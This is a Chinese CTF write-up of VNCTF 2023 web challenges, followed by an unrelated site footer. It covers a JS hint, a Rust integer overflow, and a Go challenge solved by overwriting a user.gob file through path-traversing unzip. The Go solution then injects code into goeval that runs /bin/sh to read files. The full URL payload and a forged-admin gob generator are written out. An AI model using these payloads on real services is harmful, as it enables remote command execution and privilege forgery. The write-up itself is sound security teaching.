[VNCTF 2023] web刷题记录

文章目录

    • 象棋王子
    • 电子木鱼
    • BabyGo


象棋王子

考点:前端js代码审计

直接查看js源码,搜一下alert
在这里插入图片描述丢到控制台即可
在这里插入图片描述

电子木鱼

考点:整数溢出

main.rs我们分段分析

首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。
然后就是定义了不同结构体并且自动生成了序列化

#[derive(Serialize)]
struct APIResult {success: bool,message: &'static str,
}#[derive(Deserialize)]
struct Info {name: String,quantity: i32,
}#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {name: &'static str,cost: i32,
}

给了payload列表

const PAYLOADS: &[Payload] = &[Payload {name: "Cost",cost: 10,},Payload {name: "Loan",cost: -1_000,},Payload {name: "CCCCCost",cost: 500,},Payload {name: "Donate",cost: 1,},Payload {name: "Sleep",cost: 0,},
];

然后看向/路由

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {let mut context = Context::new();context.insert("gongde", &GONGDE.get());if GONGDE.get() > 1_000_000_000 {context.insert("flag",&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),);}match tera.render("index.html", &context) {Ok(body) => Ok(HttpResponse::Ok().body(body)),Err(err) => Err(error::ErrorInternalServerError(err)),}
}

在函数内部,首先创建了一个Context对象。然后通过context.insert("gongde",&GONGDE.get())将名为"gongde"的变量插入到上下文中,其值使用了一个全局变量GONGDE的get()方法来获取。接下来,通过判断GONGDE.get()的值是否大于1,000,000,000,如果是则返回flag

最后分析/upgrade路由

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {if GONGDE.get() < 0 {return web::Json(APIResult {success: false,message: "功德都搞成负数了,佛祖对你很失望",});}if body.quantity <= 0 {return web::Json(APIResult {success: false,message: "佛祖面前都敢作弊,真不怕遭报应啊",});}if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {let mut cost = payload.cost;if payload.name == "Donate" || payload.name == "Cost" {cost *= body.quantity;}if GONGDE.get() < cost as i32 {return web::Json(APIResult {success: false,message: "功德不足",});}if cost != 0 {GONGDE.set(GONGDE.get() - cost as i32);}if payload.name == "Cost" {return web::Json(APIResult {success: true,message: "小扣一手功德",});} else if payload.name == "CCCCCost" {return web::Json(APIResult {success: true,message: "功德都快扣没了,怎么睡得着的",});} else if payload.name == "Loan" {return web::Json(APIResult {success: true,message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",});} else if payload.name == "Donate" {return web::Json(APIResult {success: true,message: "好人有好报",});} else if payload.name == "Sleep" {return web::Json(APIResult {success: true,message: "这是什么?床,睡一下",});}}web::Json(APIResult {success: false,message: "禁止开摆",})
}

POST接收info结构体的参数进行解析,然后返回json格式的APIResult类型的值;然后判断GONGDE.get() 的值是否小于0,POST请求参数quantity值是否小于等于0,如果name的值等于Donate或者Cost,进行自乘;如果大于i32则会造成整数溢出

i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数,可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。

name=Loan&quantity=11451411

在这里插入图片描述发现成功加了1000功德
然后修改name为Cost

在这里插入图片描述得到flag

在这里插入图片描述

BabyGo

考点:文件覆盖、go沙箱逃逸

源码如下

package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name  stringPath  stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}

分析一下

  1. /路由下定义了userDir为/tmp/xxx/,然后将该值赋值给session的键名shallow,接着创建目录读取user.gob并且创建user对象,具有三个属性。最后创建了一个新的Gob编码器encoder,并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法,user对象的值将被序列化并写入文件中
  2. /upload路由就是简单的文件上传功能,限制了上传文件类型不能为go和gob
  3. /unzip路由定义userUploadDir为session的shallow值拼接上uploads/,然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压
  4. /backdoor路由读取user.gob文件内容,判断是否为admin,如果是则返回good

整体思路:我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob,使得身份为admin;然后利用/backdoor的eval实现命令执行

我们已经知道user.gob的生成方式
在这里插入图片描述
那么我们创建user.go,内容如下

package mainimport ("encoding/gob""os"
)type User struct {Name  stringPath  stringPower string
}func main() {gobFile, _ := os.Create("user.gob")user := User{Name: "ctfer", Path: "/tmp/4f0436fe5585d82af7c4545984d58188/", Power: "admin"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)
}

go run一下,得到user.gob
然后丢到linux里压缩成zip
在这里插入图片描述
上传文件后,访问/unzip去解压到对应路径
在这里插入图片描述
然后我们访问一下/backdoor,成功覆盖
在这里插入图片描述
接下来就是如何命令执行 参考文章
这里考点是go语言沙箱逃逸
payload

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

在这里插入图片描述
python脚本解一下得到flag

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end="")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/231858.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

适用于 Windows 的最佳电脑数据恢复软件是什么?

数据丢失是数字世界中令人不快的一部分&#xff0c;它会在某一时刻影响许多计算机用户。很容易意外删除一些重要文件&#xff0c;这可能会在您努力恢复它们时带来不必要的压力。幸运的是&#xff0c;数据恢复软件可以帮助恢复已删除的文件&#xff0c;即使您没有备份它们。这是…

机器学习笔记 - 3D数据的常见表示方式

一、简述 从单一角度而自动合成3D数据是人类视觉和大脑的基本功能,这对计算机视觉算法来说是比较难的。但随着LiDAR、RGB-D 相机(RealSense、Kinect)和3D扫描仪等3D传感器的普及和价格的降低,3D 采集技术的最新进展取得了巨大飞跃。与广泛使用的 2D 数据不同,3D 数据具有丰…

【笔记】windows+pytorch:部署一下stable diffusion和NeRF

之前都是 *nix 环境使用 pytorch&#xff0c;这次尝试了一下windows。 我们来部署下流行性高的stable diffusion和我觉得实用性比stable diffusion高多了的NeRF Stable Diffusion 其实&#xff0c;我也不知道要写啥&#xff0c;都是按照步骤做就好了&#xff0c;后面等有时间…

防火墙之iptables

iptables概述 1.Linux 系统的防火墙 &#xff1a;IP信息包过滤系统&#xff0c;它实际上由两个组件netfilter 和 iptables组成。 2.主要工作在网络层&#xff0c;针对IP数据包。体现在对包内的IP地址、端口、协议等信息的处理上。 -netfilter/iptables关系&#xff1a; netfil…

【C++】单链表——单链表的基本操作

1、单链表的定义 由于顺序表的插入删除操作需要移动大量的元素&#xff0c;影响了运行效率&#xff0c;因此引入了线性表的链式存储——单链表。单链表通过一组任意的存储单元来存储线性表中的数据元素&#xff0c;不需要使用地址连续的存储单元&#xff0c;因此它不要求在逻辑…

运维知识点-openResty

openResty 企业级实战——畅购商城SpringCloud-网站首页高可用解决方案-openRestynginxlua——实现广告缓存测试企业级实战——畅购商城SpringCloud-网站首页高可用解决方案-openRestynginxlua——OpenResty 企业级实战——畅购商城SpringCloud-网站首页高可用解决方案-openRes…

基于深度学习的表情动作单元识别综述

论文标题&#xff1a;基于深度学习的表情动作单元识别综述 作者&#xff1a;邵志文1&#xff0c;2&#xff0c;周 勇1&#xff0c;2&#xff0c;谭 鑫3&#xff0c;马利庄3&#xff0c;4&#xff0c;刘 兵1&#xff0c;2&#xff0c;姚 睿1&#xff0c;2 发表日期&#xff1a…

idea不需安装插件,自动生成mybatis-plus对应的实体类entity,带注解@TableName、@TableId、@TableField

目录 1、修改Generate poJOs.groovy文件 2、idea中连接数据库 3、生成entity代码 4、查看生成的实体类 1、修改Generate poJOs.groovy文件 在项目下方点击Scratches and Consoles→ Extensions→ Database Tools and SQL箭头→schema→ Generate POJOs.groovy 替换为以下文…

504. 七进制数

这篇文章会收录到 : 算法通关第十三关-青铜挑战数学基础问题-CSDN博客 七进制数 描述 : 给定一个整数 num&#xff0c;将其转化为 7 进制&#xff0c;并以字符串形式输出。 题目 : LeetCode 504. 七进制数 : 504. 七进制数 分析 : 我们先通过二进制想一下7进制数的变化特…

爬虫代理技术与构建本地代理池的实践

爬虫中代理的使用&#xff1a; 什么是代理 代理服务器 代理服务器的作用 就是用来转发请求和响应 在爬虫中为何需要使用代理&#xff1f; 隐藏真实IP地址&#xff1a;当进行爬取时&#xff0c;爬虫程序会发送大量的请求到目标网站。如果每个请求都使用相同的IP地址&#xff…

HotSpot 虚拟机中的对象

1、对象的创建 Java 是一门面向对象的编程语言&#xff0c;程序运行过程中无时无刻都有对象被创建出来。在语言层面上&#xff0c;创建对象通常仅仅是一个 new 关键字&#xff0c;而虚拟机中&#xff0c;对象&#xff08;仅限于普通 Java 对象&#xff0c;不包括数组和 Class …

手写VUE后台管理系统5 - 整合状态管理组件pinia

整合状态管理组件 安装整合创建实例挂载使用 pinia 是一个拥有组合式 API 的 Vue 状态管理库。 pinia 官方文档&#xff1a;https://pinia.vuejs.org/zh/introduction.html 安装 yarn add pinia整合 所有与状态相关的文件都放置于项目 src/store 目录下&#xff0c;方便管理 在…